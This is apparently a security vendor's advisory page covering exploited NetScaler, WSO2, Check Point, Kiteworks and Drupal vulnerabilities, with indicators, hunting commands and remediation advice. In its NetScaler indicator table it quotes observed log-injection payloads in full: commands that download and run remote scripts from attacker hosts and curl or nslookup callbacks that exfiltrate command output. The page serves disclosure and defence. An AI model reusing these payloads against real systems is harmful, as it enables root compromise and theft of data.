154.217.251[.]226 | IPv4 | CVE-2026-88772 scanning | Lupovis |
143.198.7[.]94 | IPv4 | CVE-2026-88772 scanning and staging | Mandiant/GTIG |
157.254.167[.]12 | IPv4 | CVE-2026-88772 exploitation with backdoor installation | Mandiant/GTIG |
httpworkbench[.]com | Domain | Out-of-band callback for exfiltrated output | Lupovis |
www.pyrlnk[.]cc | Domain | Hardcoded sliver C2 | Analysis |
pyrlnk[.]cc | Domain | Payload delivery second wave | Publicly Reported |
f.pylrk[.]cc | Domain | Payload delivery second wave | Publicly Reported |
213.209.159[.]55:443/t/* | Domain | Payload delivery | Publicly Reported |
webhook[.]site | Domain | Out-of-band callback | Publicly Reported |
*.dnshook[.]site | Domain | Out-of-band callback | Publicly Reported |
c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34 | SHA-256 | Sliver download script | Analysis |
0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027 | SHA-256 | Sliver C2 implant | Analysis |
6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7 | SHA-256 | PHP webshell | GreyNoise |
/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver | File path | Webshell location | GreyNoise |
/vpn/media/nsgclient.ico / /vpn/media/*.ico | File Path | Masquaerading icon request URI routed to .sig webshell | Mandiant/GTIG |
/vpn/scripts/linux/nsginstaller*.deb / /vpn/scripts/linux/nsgclient*.deb / /vpn/scripts/linux/*.php | File Path | Staging path for malicious PHP web shells on Netscaler Gateway | Mandiant/GTIG |
Alias | Configuration Modifications | Webshell routing | GreyNoise |
php_flag engine on | Config | PHP enabled for the webshell | GreyNoise; CERT-EU |
Cookies | HTTP | Webshell access | GreyNoise |
HTTP_X_UX / HTTP_X_UX_[0-9]+ | HTTP | Transport headers used by WHIPSHOT | Mandiant/GTIG |
/tmp/.uxdport or /tmp/.uxdlock | File | SLAPSHOT proxy artifact | Mandiant/GTIG |
Download and execute slapshot campaign | pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v${IFS}http://213.209.159.55:443/t/<TOKEN>;sh${IFS}/v;# X | Beazley Security |
Download and execute sliver campaign | pitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk.cc/<TOKEN>/s|sh&;# X | Beazley Security |
Download and execute sliver campaign | pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo-${IFS}https://f.pylrk.cc/<TOKEN>/s|sh;# X | Beazley Security |
Callback and exfil | pitboss PPE unexpectedly died NSPPE;curl http://158.94.211.205:8080/$(id|base64);# X | Beazley Security |
Callback and exfil | pitboss PPE unexpectedly died NSPPE;curl\https://webhook.site/<UUID>;# X | Beazley Security |
Callback and exfil | pitboss PPE unexpectedly died NSPPE;IFS=,;a=curl,-k,https://webhook.site/<UUID>?test=real;$a;# X | Beazley Security |
Callback and exfil | pitboss PPE unexpectedly died NSPPE;nslookup PWNED.<UUID>.dnshook.site;# X | Beazley Security |
Execution probes | pitboss PPE unexpectedly died NSPPE;id>/netscaler/ns_gui/vpn/id009.txt;id>/netscaler/ns_gui/id009.txt;# X | Beazley Security |
Execution probes | pitboss PPE unexpectedly died NSPPE;id>/netscaler/ns_gui/vpn/rce.txt;# X | Beazley Security |
Execution probes | pitboss PPE unexpectedly died NSPPE-00;id>/netscaler/ns_gui/vpn/theme/rce.txt;# X | Beazley Security |
pitboss | ns.log, messages, SIEM | Kevin Beaumont |
“missed too many heartbeats” or “unexpectedly died” in authentication log lines | ns.log | watchTowr, CERT-EU |
User-Agent starting with | Apache access logs | CERT-EU |
User-Agent " | Apache access logs | Lupovis |
Test marker text " | Filesystem | Lupovis |
SSL_HANDSHAKE_FAILURE where ClientVersion is DTLSv1.0 | /var/core | Mandiant/GTIG |
These locations are rebuilt when the appliance reboots so Beazley Security strongly recommends that you check them first. Where possible, also compare /etc/httpd.conf with the same file on a clean appliance of the same build.
lang:shellscript
# Apache config: webshell routes or PHP enabled:
grep -nE 'ctxs\.receiver|receiver\.min|SetHandler.*php|php_flag +engine +on' /etc/httpd.conf /nsconfig/httpd.conf 2>/dev/null
# /bin/sh should not be setuid (expected: -r-xr-xr-x)
ls -l /bin/sh
# Test markers from exploitation checks in the firmware web folder
grep -rl 'NX-CVE-OK' /netscaler/ns_gui 2>/dev/null
These locations persist across reboots and upgrades.
lang:shellscript
# Hidden or unexpected files in the Gateway logon folders
ls -la /var/netscaler/logon/LogonPoint/custom/
find /var/netscaler/logon -name '.*' -type f
# Test markers from exploitation checks
grep -rl 'NX-CVE-OK' /var/netscaler 2>/dev/null
# Log injection attempts
zgrep -E 'pitboss.*(IFS|b64decode|[;`|$])|authenticate user :pitboss' /var/log/ns.log* /var/log/messages*
# Staged payloads in the User-Agent
zgrep 'INDEX:' /var/log/httpaccess*.log*
# Scheduled jobs and startup scripts
ls -la /var/cron/tabs/; crontab -l -u root; crontab -l -u nsroot
cat /nsconfig/rc.netscaler /nsconfig/nsafter.sh 2>/dev/null
Genuine watchdog events can also log “missed too many heartbeats”. Defenders should look for that text in an authentication log line, or next to shell characters such as ;, backticks or ${IFS}.
Update October 2nd, 2026: In the second wave campaign, Citrix states that Netscaler Gateway virtual servers configured with SAML authentication are reportedly affected. SAML configuration can be checked with the following command:
grep -qE '^add authentication saml(Action|IdPProfile)' /flash/nsconfig/ns.conf && echo "LIKELY VULNERABLE" || echo "LIKELY NOT VULNERABLE"
Update (October 4th, 2026): Citrix has confirmed the vulnerability Beazley Security observed on October 2nd is a Denial of Service (DoS) condition and assigned CVE-2026-88779. Technical details regarding the vulnerability are described below.
Update (October 2nd, 2026): Security researchers have observed an additional wave of attacks continuing to exploit log injection flaws on Citrix appliances. As before, attackers appear to deliver fake pitboss messages into the appliance, injecting a command in hopes it will be processed: pitboss PPE unexpectedly died NSPPE;<command>;# X. The commands observed in the wild are callback attempts and second stage delivery, leveraging fetch to download implants and execute them:
pitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk[.]cc/i77AMHeTM1Z7892K/s|sh&;# X
Beazley Security's analysis of the payload delivered from f.pylrk[.]cc installs an implant built with Sliver, an open source command-and-control framework compiled for FreeBSD, the OS NetScaler runs on. Beazley Security's analysis of the implant found that it:
Is named "Pylrkfbsd" and connects to www.pylrk[.]cc over HTTPS, falling back to HTTP on port 80.
Reports the appliance hostname, a unique ID derived from its MAC address, the account it runs as, its process ID and file path when it first connects.
Encrypts its traffic with a new key for each session.
Accepts commands from the attacker to run tasks, open network tunnels, change its settings or shut itself down.
Retries up to 1,000 times if it cannot reach its server, waiting between attempts.
The implant gives attackers interactive remote control of the appliance and the ability to tunnel traffic into the internal networks.
CVE-2026-88779 is triggered by attacker crafted SAML data. The crash appears to occur while nsaaad processes the signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. In Beazley Security's response, we identified attackers abusing this vulnerability to force reboots on appliances that already contain an injected pitboss message. On unpatched appliances, ns_monuploadd_err.pl would then read that message after boot and execute the embedded command as root.
On September 27th, 2026, Citrix published security bulletin CTX697096, which addresses eight vulnerabilities in NetScaler ADC and NetScaler Gateway. The bulletin included confirmation that exploitation of CVE-2026-88771 and CVE-2026-88772 has been observed in the wild.
CVE-2026-88771 (CVSS 9.5) is a command injection flaw in how NetScaler ADC and NetScaler Gateway process their own log files. A maintenance script that runs as root, ns_monuploadd_err.pl, periodically searches the appliance logs (/var/log/ns.log and /var/log/messages) for messages from pitboss, the NetScaler process watchdog, reporting that the packet processing engine “missed too many heartbeats” or “unexpectedly died”. When it finds a match, the script passes text from that log line into a shell command without sanitizing it.
Because the appliance logs attacker-supplied values such as login names and User-Agent headers, an unauthenticated attacker can write a fake pitboss message into those logs. watchTowr researchers demonstrated this with a login request to /nf/auth/doAuthentication.do whose username imitates a pitboss error and ends in shell commands. The next time the script runs, it reads the fake message and executes the attacker’s commands as root. watchTowr reports that the script runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request.
CERT-EU reports that attackers used this to stage larger payloads. They send base64-encoded commands in the User-Agent header, prefixed with INDEX:, which land in the Apache access log, then have the injected command pull them back out of the log, decode them and run them. GreyNoise observed the post-exploitation activity that followed: attackers modified /etc/httpd.conf to enable PHP and route requests to a hidden webshell in the Gateway logon folder, set the setuid and setgid bits on /bin/sh, and reloaded Apache to apply the changes. See the Indicators of Compromise section of this advisory for specific indicators and hunting guidance.
CVE-2026-88772 (CVSS 9.5) is a separate memory overflow in the NetScaler DTLS implementation that can lead to remote code execution or denial of service. It requires DTLS to be enabled, which is the default on Gateway (VPN) virtual servers. Citrix has not published technical details for CVE-2026-88772, and reports exploitation of CVE-2026-88771 and CVE-2026-88772 only, although Kevin Beaumont reports CVE-2026-88773 being chained with them.
Administrators can check their configuration (/nsconfig/ns.conf or show ns runningConfig) for the following:
- add vpn vserver <name> SSL <ip> 443 with no -dtls OFF flag means DTLS is enabled by default, and the precondition is met.
- add vpn vserver <name> SSL <ip> 443 -dtls OFF means DTLS is explicitly disabled, and the precondition is not met.
- add vpn vserver <name> DTLS ... or add lb vserver <name> DTLS ... means DTLS is enabled.
WatchTowr has published a proof-of-concept for CVE-2026-88771, and Lupovis Defense observed exploitation attempts within hours of its release. Citrix has not published technical details for CVE-2026-88772. Beazley Security will continue to update this advisory as additional details become available.
Update (September 29 2026): Post-Exploitation Tooling. GTIG recovered custom tooling from compromised NetScaler appliances after alleged exploitation of CVE-2026-88772. According to GTIG researchers, WHIPSHOT is a custom PHP webshell that enables C&C communications through sending Base64-encoded payloads within HTTP headers and is placed in /netscaler/ns_gui/vpn/scripts/linux. Researchers documented another tunneling toolkit named "SLAPSHOT", allowing attackers to tunnel further traffic into networks for additional lateral movement and data theft. WHIPSHOT checks for the presence of SLAPSHOT and if not active spawns the tunnel to relay threat actor requests. GTIG/Mandiant provided a detailed writeup on the newly documented webshells here.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found. Beazley Security has also searched for known Indicators of Compromise (IOCs) across our MXDR client base. Organizations that may have been impacted have already received notifications. If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team
https://www.cyberkendra.com/2026/09/netscaler-shutdown-warning-unverified-rce-flaws.html
https://www.reddit.com/r/Citrix/comments/1wqjk9a/netscaler_leak/
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939
https://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771
https://www.greynoise.io/blog/swarming-against-citrix-0-day-exploitation
On September 25th, 2026, Kiteworks notified customers that it has received credible threat intelligence from the U.S federal government, specifically the intelligence community indicating an attack on Kiteworks systems may be imminent this weekend.
Kiteworks recommends that customers who manage their own Kiteworks systems, whether on-premises or in AWS or Azure, shut it down for nine hours beginning at 02:00 UTC on Saturday, September 26th, 2026. Beazley Security is unsure as to why this specific time window is the only expected exposure. Beazley Security labs recommends that organizations leave the systems shut down longer, if feasible until more information is provided.
Kiteworks states that its latest version, 9.5.1, accounts for all known vulnerabilities, and that it has no indication that Kiteworks or customer systems have been compromised, but it cannot be discounted potential attacks are related to a zero-day unknown to the vendor. Kiteworks will shut down the systems it hosts during the same window.
This is a developing situation, and Beazley Security will continue to monitor for new developments and update this advisory as necessary. In the meantime, Beazley Security recommends that self-managed customers shut down the potentially affected systems as soon as possible.
Self-managed Kiteworks instances (on-premises, AWS, or Azure).
Kiteworks notification states that no user action is needed for *Kiteworks* hosted system that the vendor themselves will be bringing systems down on behalf of clients.
There are no known workarounds or mitigations. Kiteworks simply recommends shutting down Kiteworks systems during a 9 hour shutdown Window. Beazley Security recommends shutting these systems down for longer, if possible.
The kiteworks suggested shutdown window is available below:
New York: 10:00 PM Friday, September 25th to 7:00 AM Saturday, September 26th
London: 3:00 AM to 12:00 PM Saturday, September 26th
Sydney: 12:00 PM to 9:00 PM Saturday, September 26th
Kiteworks, formerly known as Accellion, previously operated a widely used file transfer platform that became the target of a major exploitation campaign in December 2020. During the campaign, the Clop ransomware group exploited a zero-day vulnerability to steal data from high profile organizations.
No known CVE, patch, or additional technical details are publicly available at this time.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in taking action as soon as possible.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.
https://therecord.media/kiteworks-urges-customers-to-stop-using-systems-incident
Kiteworks Client Email (provided to Beazley Security Labs via intelligence sharing partnerships).
On September 24th, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added a vulnerability in WSO2 API management products to its Known Exploited Vulnerabilities (KEV) catalog following confirmed exploitation in the wild. Tracked as CVE-2026-5430 and recently updated to a CVSS score of 10, the flaw lets an unauthenticated remote attacker forge a JSON Web Token (JWT) that bypasses authentication, allowing access to administrative accounts. It affects the WSO2 API Control Plane, API Manager, Traffic Manager, and Universal Gateway. WSO2 released fixes ahead of the exploitation.
Active exploitation is confirmed. Honeypot sensors captured forged administrator tokens targeting the flaw beginning September 13th, 2026, and CISA has since added it to the KEV catalog. Given the unauthenticated remote access it grants to internet-reachable API infrastructure, Beazley Security recommends affected organizations apply available fixes immediately and conduct a thorough review for any signs of compromise.
Product | Affected Versions |
|---|---|
WSO2 API Control Plane | 4.5.0, 4.6.0 |
WSO2 API Manager | 4.1.0 through 4.6.0 |
WSO2 Traffic Manager | 4.5.0, 4.6.0 |
WSO2 Universal Gateway | 4.5.0, 4.6.0 |
A single upgrade remediates the flaw for each affected product. There is no configuration setting that disables the vulnerable behavior, so patching and network containment are the priority.
Apply the public code fixes in the Carbon API Management and Product APIM repositories or migrate to the latest unaffected release of the affected product.
Apply the vendor-specified update level for your version, or a newer one:
API Control Plane:
4.6.0 update level 22
4.5.0 update level 58
API Manager:
4.6.0 update level 21
4.5.0 update level 57
4.4.0 update level 72
4.3.0 update level 108
4.2.0 update level 197
4.1.0 update level 257
Traffic Manager:
4.6.0 update level 21
4.5.0 update level 56
Universal Gateway:
4.6.0 update level 21
4.5.0 update level 57
Besides performing the updates, organizations running WSO2 should mitigate risk of attackers gaining access to their infrastructure:
Restrict access to internet-facing WSO2 management consoles and gateways to trusted administrative networks until updates are applied.
Because a forged token exposes application credentials, rotate consumer keys, secrets, and administrative credentials, and review administrator accounts for unauthorized additions or changes.
WSO2 has released fixes for all affected products. Open-source users receive the fix through public code changes, while support subscription holders apply the vendor-provided update levels. Full details are available in the official WSO2 security advisory (WSO2-2026-5328).
On September 24th, 2026, CISA added CVE-2026-5430 to its KEV catalog, confirming active exploitation in the wild. watchTowr reported that its honeypot network captured forged JWTs carrying administrator privileges beginning September 13th, 2026.
Defenders should inspect authentication logs for anomalous JWT validation events, such as tokens accepted despite being signed with an unexpected or unsupported algorithm, and successful authentications that do not correspond to a legitimate login.
This can be searched from the WSO2 install ./repository/logs/http_access_*.log for HTTP 200 responses to
/api/am/admin/
/api/am/publisher/
/api/am/devportal/
Organizations should also monitor for newly created or newly privileged administrator accounts; changes to API configurations, routing, or access policies; and administrative activity originating from unfamiliar addresses. Because a forged token yields application credentials and secrets, treat any unexplained use of consumer keys or back-end service credentials as a potential sign of compromise.
CVE-2026-5430 is a signature verification flaw in how WSO2 API management products handle JSON Web Token authentication. The software accepts a token to the endpont /api/am/admin/ signed with an algorithm it does not support and incorrectly treats that token as validly signed. An attacker can therefore craft a JWT that asserts any identity, including an administrator, without possessing a legitimate signing key and present it to bypass authentication entirely. No credentials or user interaction is required. WSO2 credits the Hacktron Team with discovering and reporting the issue.
watchTowr's intel platform reported the in-the-wild activity and observed forged tokens minted with administrator privileges. watchTowr reported that a forged token grants access to every API back-end endpoint, along with the credentials, consumer keys, and secrets of every registered application.
Full technical write-ups and a public proof-of-concept for this WSO2 flaw were not available at the time of publication.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.
On September 23rd, 2026, the Drupal Security Team published advisories addressing 36 vulnerabilities across 16 modules, including five rated critical. Among the most serious is CVE-2026-96355 affecting the widely used Webform module. Given the breadth and severity of these disclosures, organizations running Drupal should review their installations and update any affected modules before attackers weaponize these vulnerabilities.
The vulnerabilities associated with the released advisories enable attackers to perform a multitude of attacks, including remote code execution, stored cross-site scripting, and authorization bypasses. The updates released by Drupal resolve all these vulnerabilities across the modules.
Although active exploitation has not been reported and no public proof-of-concept exploits are known at the time of writing, critical Drupal vulnerabilities have historically been weaponized following disclosure. For example, 2018's "Drupalgeddon2" was exploited at scale shortly after disclosure. Beazley Security recommends affected organizations apply available fixes as soon as possible, prioritizing Webform and Cloud.
CVE | Module | Vulnerability | Affected Versions |
|---|---|---|---|
CVE-2026-96355 | Webform | Remote code execution | < 6.2.12; 6.3.0 before 6.3.1 |
CVE-2026-96388 | tawk.to Live Chat | Cross-site request forgery | < 3.0.4 |
CVE-2026-96374 | Project Browser | Cross-site request forgery | < 2.0.3; 2.1.0 before 2.1.5 |
CVE-2026-96376 | Cloud | Remote code execution | < 7.0.1 |
CVE-2026-96375 | Cloud | Improper TLS certificate validation | < 7.0.1 |
The same release fixed 31 further vulnerabilities in 13 modules, which Drupal rated as moderately critical. Most require an attacker to already hold an authenticated role or depend on a specific site configuration. Webform accounts for 19 of them, and the same Webform upgrade that fixes CVE-2026-96355 resolves all of them.
Module | CVEs | Issue Types | Fixed Version |
|---|---|---|---|
Webform | CVE-2026-96356, CVE-2026-96357, CVE-2026-96358, CVE-2026-96359, CVE-2026-96360, CVE-2026-96361, CVE-2026-96362, CVE-2026-96363, CVE-2026-96364, CVE-2026-96365, CVE-2026-96366, CVE-2026-96367, CVE-2026-96368, CVE-2026-96369, CVE-2026-96370, CVE-2026-96371, CVE-2026-96372, CVE-2026-96373, CVE-2026-96398 | Cross-site scripting, access bypass, server-side request forgery, denial of service, anti-spam bypass | 6.2.12 / 6.3.1 |
AI CKEditor | CVE-2026-96392 | Code execution via Twig templates | 1.4.3 |
REST & JSON API Authentication | CVE-2026-96385 | Access bypass | 3.2.0 |
Webform REST | CVE-2026-96391 | Access bypass | 4.2.1 |
Smart Content | CVE-2026-96386 | Access bypass | 3.2.1 |
Commerce Decoupled Checkout | CVE-2026-96378 | Access bypass | 1.8.0 |
Mermaid Diagram Field | CVE-2026-96384 | Access bypass | 1.0.10 |
Stop Administrator Login | CVE-2026-96387 | Access bypass | 8.x-1.6 |
Editoria11y Accessibility Checker | CVE-2026-96390 | Access bypass | 2.2.23 / 3.0.9 |
Combined Image Style | CVE-2026-96377 | Denial of service | 1.0.7 |
CookieCuttr | CVE-2026-96379 | Cross-site scripting | 2.0.3 |
Diba Carousel Slider | CVE-2026-96382 | Cross-site scripting | 3.0.2 |
CSS Usage Analyzer | CVE-2026-96380 | Access control (forged report data) | Later than 1.0.1 |
Two of these fixes require follow-up:
The Webform update adds a new Administer webform remote post URLs permission, which should be granted only to trusted roles.
Commerce Decoupled Checkout now rejects custom order fields outside an allowlist, so sites that submit additional fields must enable them at /admin/commerce/config/decoupled-checkout before resuming checkout.
Upgrading to fixed versions remediates every vulnerability in this advisory. One Webform upgrade addresses CVE-2026-96355 and its 19 sibling issues, and Cloud 7.0.1 fixes both Cloud vulnerabilities.
Webform: 6.2.12 for the 6.2.x branch, or 6.3.1 for the 6.3.x branch
Cloud: 7.0.1
Project Browser: 2.0.3 for the 2.0.x branch, or 2.1.5 for the 2.1.x branch
tawk.to Live Chat: 3.0.4
After upgrading, complete these steps:
Run Drupal database updates and rebuild caches, as the Cloud and tawk.to advisories require cache rebuilds.
For Cloud sites that use a private certificate authority (CA), configure the CA certificate path for each Kubernetes and VMware connection or ensure the PHP runtime trusts the issuing CA. Cloud 7.0.1 enables certificate verification, and connections will fail without this step.
If organizations cannot upgrade immediately, the following steps may temporarily reduce risk:
Identify webforms that use a custom multiple-value item format containing submission-value tokens and remove those formats until Webform is updated. Only webforms configured this way are exposed to CVE-2026-96355.
Disable the Cloud Kubernetes submodule where it is not in use. Otherwise, restrict permission to add or edit cloud server templates, and the launch cloud server template permissions, to trusted administrators.
Uninstall Project Browser from production sites that do not need it.
These workarounds change site behavior and do not address the cross-site request forgery (CSRF) issue in tawk.to, so treat them as short-term measures only.
The Drupal Security Team has released fixed versions of all affected modules, available from each module's project page on drupal.org. Additional information can be found in the individual Drupal advisories listed below.
One of the most critical flaws released, CVE-2026-96355, stems from how Webform renders submissions. Site builders can define custom display formats for fields that accept multiple values, and those formats can include tokens that insert submitted values. Webform does not exclude these format templates from token replacement. As a result, text an attacker enters into a form is inserted into the template and evaluated as template code when the submission is displayed. What that evaluation achieves depends on the site's configuration and enabled modules, ranging from data exposure to code execution on the server. At the time of writing, it’s unclear whether a common pathing and module configuration enables a generic exploitation of this token replacement issue.
In the Cloud module, CVE-2026-96376 is an operating system command injection. The Kubernetes integration passes the Git branch and repository URL values from cloud server templates to shell commands without sanitization. An attacker who can edit a template can also run commands as the web server user. Exploitation requires the Kubernetes submodule to be enabled and Git to be present on the server. Drew Webber of the Drupal Security Team reported the flaw.
CVE-2026-96375 is a missing TLS certificate check in the Kubernetes and VMware integrations, which lets an attacker who can intercept those connections capture API tokens and other credentials.
CVE-2026-96374 and CVE-2026-96388 are missing CSRF protections on actions in Project Browser and tawk.to. Drupal has not published further technical detail, and no public proof-of-concept exploits are known.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.
On September 22nd, 2026, Check Point released emergency hotfixes for a critical vulnerability in its Management Server products and confirmed that attackers had already exploited it as a zero-day. Tracked as CVE-2026-93616, the vulnerability allows an unauthenticated remote attacker to traverse outside the intended directory in the Management web service and upload scripts to execute on the server. CISA added the vulnerability to its Known Exploited Vulnerabilities (KEV) catalog the same day.
The Management Server is the central administrative plane for a Check Point deployment. It stores and distributes security policies to manage gateways and collects logs across the enterprise network. This allows an attacker who executes code there to control firewall policy and gain access to operational and audit data, which the organization relies on to detect an intrusion. Check Point observed the earliest attacks on July 23rd, 2026, described the activity as targeted and limited, and stated it is aware of a handful of customers who were attacked. The vendor has not attributed the intrusions or described what the attackers did after gaining code execution.
Active exploitation is confirmed, and this is the latest in a run of Check Point management and gateway flaws that attackers have leveraged over the past year. Given the privileged position of the Management Server and the confirmed exploitation preceding the fix, Beazley Security recommends affected organizations apply available fixes immediately and conduct a thorough review for any signs of compromise.
The vulnerability affects Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent.
Release | Affected Versions |
|---|---|
R82.20 | No Jumbo Hotfix installed |
R82.10 | Jumbo Hotfix Take 44 and below |
R82 | Jumbo Hotfix Take 126 and below |
R81.20 | Jumbo Hotfix Take 166 and below |
R81.10 | Jumbo Hotfix Take 190 and below (end of support) |
R81, R80.40, R80.30, R80.20, R80.10, R80 | All versions (end of support) |
Smart-1 Cloud is not vulnerable, as Check Point has already applied the fix.
Check Point Firewall Appliances and Spark Firewalls are not affected by this issue.
Upgrading is the only complete remediation. Administrators should not assume LivePatch protects them: LivePatch Takes 28 and 29 do not correct this flaw, and Check Point states no LivePatch will be available given the nature of the fix.
Where organizations cannot patch immediately, the following steps reduce exposure:
Place the Management Server behind a Security Gateway or Check Point firewall and restrict access to TCP port 19009 to trusted IP addresses.
Limit the Trusted Clients list to known internal administrative addresses via Manage & Settings > Permissions & Administrators > Trusted Clients in SmartConsole.
Treat both as temporary measures. Because Check Point has asserted exploitation predated the fix, applying the hotfix takes priority over access controls alone, and patching does not reveal whether a server was already attacked.
Check Point has released fixes. Customer-managed servers require the R82.20 Security Hotfix or a corrected Jumbo Hotfix Accumulator, with the correction included in R82.10 Take 45, R82 Take 127, R81.20 Take 170, and R81.10 Take 192 or later.
Vendor-hosted Smart-1 Cloud instances have already been updated.
Fixed builds, hunting guidance, and indicators are published in Check Point support article sk1000171 and the accompanying vendor advisory.
Hunt across every management, logging, and SmartEvent server, not only those exposed to the internet.
Check Point provided the following two checks for compromise:
Look for unusually long usernames recorded in the cpm.elg logs, and then correlate those entries against FWM or MDS core dumps generated around the same time.
grep -nHP "login\(loginRequest=LoginRequest\{authenticationInfo=AuthenticationInfoBase\{username='[^' ]{1001,}'" "$MDS_FWDIR"/log/cpm.elg*
If that search returns results, validate if a FWM/MDS core dump was generated at the same time.
ls -l /var/log/dump/usermode/ | grep -e fwm -e mds
The presence of a core dump at the same time as the login attempt indicates potential exploitation.
Search for ReflectionUtils errors reporting that the service failed to load an allResourceFiles map. Examine the paths returned by those errors for traversal sequences, such as ../../. Either pattern warrants immediate investigation.
grep -E "ERROR.*upgrade\.base\.ReflectionUtils.*Failed to load allResourceFiles map from" $MDS_FWDIR/log/cpm.elg*
Where either pattern appears, preserve the relevant logs and core dumps before they are overwritten or removed, isolate the affected server where operations allow, review what the server did afterward, and contact Check Point Support.
Check Point has claimed it will continue to update its advisory, so administrators should monitor it for revised guidance and additional indicators, and watch for official communications from Check Point about specific exploitation within their cloud userbase.
CVE-2026-93616 combines directory traversal with unsafe file upload handling in the Check Point Management web service. The service does not properly constrain which files and directories a request can reach. By manipulating the file path in a request with relative paths, an attacker causes the service to write a script to an arbitrary location. This also enables execution to load an arbitrary Java class.
Check Point has withheld deeper technical detail and has not described the payloads used in the July attacks. No public proof-of-concept (PoC) exploit is available at the time of writing. However, because exploitation of this vulnerability appears trivial, we would expect public PoC examples in the upcoming days.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.